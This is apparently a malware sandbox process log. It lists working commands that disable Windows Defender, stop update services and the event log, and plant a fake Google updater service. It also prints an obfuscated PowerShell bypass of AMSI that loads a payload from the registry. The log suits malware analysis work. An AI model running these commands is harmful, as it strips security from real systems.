C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f6⤵
-
-
-
C:\Users\Admin\AppData\Roaming\JQ7Nkzc\qZZ0MicBN\chrome_144.exe"C:\Users\Admin\AppData\Roaming\JQ7Nkzc\qZZ0MicBN\chrome_144.exe"5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"6⤵
- Launches sc.exe
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\order_pdf.exe"C:\Windows\System32\Files\order_pdf.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\Loader.exe"C:\Windows\System32\Files\Loader.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\Software.exe"C:\Windows\System32\Files\Software.exe"3⤵
-
C:\Windows\SysWOW64\Files\Software.exe"C:\Windows\System32\Files\Software.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\Files\Software.exe'"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\XClient.exe"C:\Windows\System32\Files\XClient.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\file.exe"C:\Windows\System32\Files\file.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\setup.exe"C:\Windows\System32\Files\setup.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IQKLT.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-IQKLT.tmp\setup.tmp" /SL5="$20534,25788751,180224,C:\Windows\SysWOW64\Files\setup.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\qcoin133.exe"C:\Windows\System32\Files\qcoin133.exe"3⤵
-
C:\Windows\SysWOW64\Files\QUpdate.exe"C:\Windows\System32\Files\QUpdate.exe" qcoin1334⤵
-
C:\Windows\SysWOW64\Files\qcoin133.exe"C:\Windows\System32\Files\qcoin133.exe" auto5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\STHealthUpdate.exe"C:\Windows\System32\Files\STHealthUpdate.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe"C:\Windows\System32\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe"3⤵
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /u /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"4⤵
-
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"4⤵
-
-
C:\Program Files\¿ìѹ\X64\KZMount2.exe"C:\Program Files\¿ìѹ\X64\KZMount2.exe" -InstallDriver4⤵
-
-
C:\Program Files\¿ìѹ\X64\KZMount2.exe"C:\Program Files\¿ìѹ\X64\KZMount2.exe" -AssocAll4⤵
-
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"4⤵
-
-
C:\Program Files\¿ìѹ\X86\KuaiZip.exe"C:\Program Files\¿ìѹ\X86\KuaiZip.exe" -AssociateAll4⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" "C:\Program Files\¿ìѹ\X64\KZipShell.dll" -s4⤵
-
C:\Windows\system32\regsvr32.exe"C:\Program Files\¿ìѹ\X64\KZipShell.dll" -s5⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /tn KuaiZip_Update /f4⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn KuaiZip_Update /tr "C:\PROGRA~1\F85A~1\X86\Update.exe" /sc hourly4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Program Files\¿ìѹ\X86\KZReport.exe"C:\Program Files\¿ìѹ\X86\KZReport.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\Doublepulsar-1.3.1.exe"C:\Windows\System32\Files\Doublepulsar-1.3.1.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\HDDrive1095_XinAnPlug3030_20230619_inno.exe"C:\Windows\System32\Files\HDDrive1095_XinAnPlug3030_20230619_inno.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-H8B70.tmp\HDDrive1095_XinAnPlug3030_20230619_inno.tmp"C:\Users\Admin\AppData\Local\Temp\is-H8B70.tmp\HDDrive1095_XinAnPlug3030_20230619_inno.tmp" /SL5="$5078E,19688858,52736,C:\Windows\SysWOW64\Files\HDDrive1095_XinAnPlug3030_20230619_inno.exe"4⤵
-
-
-
C:\Windows\SysWOW64\Files\standalone_payload.exe"C:\Windows\System32\Files\standalone_payload.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe lib32.dll payload4⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe lib32.dll payload5⤵
-
-
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x510 0x4ac1⤵
-
C:\Windows\SysWOW64\NETSTAT.EXE"C:\Windows\SysWOW64\NETSTAT.EXE"1⤵
- Gathers network information
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\SysWOW64\Files\order_pdf.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
-
C:\ProgramData\Qiqu\Taje.exeC:\ProgramData\Qiqu\Taje.exe1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffc47f8c728,0x7ffc47f8c734,0x7ffc47f8c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1852,i,2172748182210097436,6256226321931616192,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2196 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1724,i,13993457273266274141,6935545347902775453,262144 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2164 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2448,i,6317362158355056566,10187058015321933209,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2440 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3244,i,2710003921580104346,8207565517621009808,2097152 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3264,i,8622537898264660377,14785960080251223323,2097152 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3268 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4432,i,16518968053372009828,8988627960143434515,2097152 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4456 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4696,i,8069065284030866623,6074708457819567049,2097152 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4712 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5696,i,7523130785833983325,5900682670889054755,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5768 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,4119750162584732526,14459973387092668606,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5724 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,12740881170668497449,5091689093940162425,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6100 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5824,i,1795835353115492459,17640554399804832161,524288 --field-trial-handle=2168,i,17944234178900997743,1597413358308002678,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5696 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k kuaizipupdatesvc1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k kuaizipupdatesvc1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:erAjnvvBruZB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MfxzlnARSyyrgS,[Parameter(Position=1)][Type]$PPLFgSnIdK)$tYadzPusyDP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+'a'+'t'+'eT'+[Char](121)+''+'p'+'e',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+'l'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tYadzPusyDP.DefineConstructor(''+[Char](82)+'TS'+'p'+'ec'+'i'+'a'+[Char](108)+'N'+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+''+'i'+'d'+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+'g'+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$MfxzlnARSyyrgS).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'ti'+'m'+'e'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$tYadzPusyDP.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$PPLFgSnIdK,$MfxzlnARSyyrgS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'ed');Write-Output $tYadzPusyDP.CreateType();}$jyDDuhDANEIqU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+''+'.'+''+'d'+''+'l'+''+'l'+'')}).GetType('M'+'i'+''+'c'+'r'+'o'+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+'3'+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+'ive'+'M'+''+[Char](101)+''+'t'+'h'+'o'+'d'+[Char](115)+'');$SHjWiGotrvNhZY=$jyDDuhDANEIqU.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iDiUrqkxBZRZmNajhWB=erAjnvvBruZB @([String])([IntPtr]);$cJhhntTZocTscfpWmkpTvU=erAjnvvBruZB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NctUlJuYpct=$jyDDuhDANEIqU.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+'o'+'d'+'ule'+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+'r'+'nel'+[Char](51)+'2.'+[Char](100)+''+[Char](108)+'l')));$LMGFPEfxlQSVfe=$SHjWiGotrvNhZY.Invoke($Null,@([Object]$NctUlJuYpct,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+'A')));$JIaaieSaNcWnXSkLN=$SHjWiGotrvNhZY.Invoke($Null,@([Object]$NctUlJuYpct,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+'o'+[Char](116)+'ec'+[Char](116)+'')));$kUVAGEr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LMGFPEfxlQSVfe,$iDiUrqkxBZRZmNajhWB).Invoke('a'+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$ohDKEqRYbNDTfIMHj=$SHjWiGotrvNhZY.Invoke($Null,@([Object]$kUVAGEr,[Object](''+'A'+'m'+'s'+''+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$HMWHkZtCOr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JIaaieSaNcWnXSkLN,$cJhhntTZocTscfpWmkpTvU).Invoke($ohDKEqRYbNDTfIMHj,[uint32]8,4,[ref]$HMWHkZtCOr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ohDKEqRYbNDTfIMHj,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JIaaieSaNcWnXSkLN,$cJhhntTZocTscfpWmkpTvU).Invoke($ohDKEqRYbNDTfIMHj,[uint32]8,0x20,[ref]$HMWHkZtCOr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+'l'+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+'ag'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k kuaizipupdatesvc1⤵
-
C:\Windows\system32\drivers\KuaiZipDrive.sysC:\Windows\system32\drivers\KuaiZipDrive.sys1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
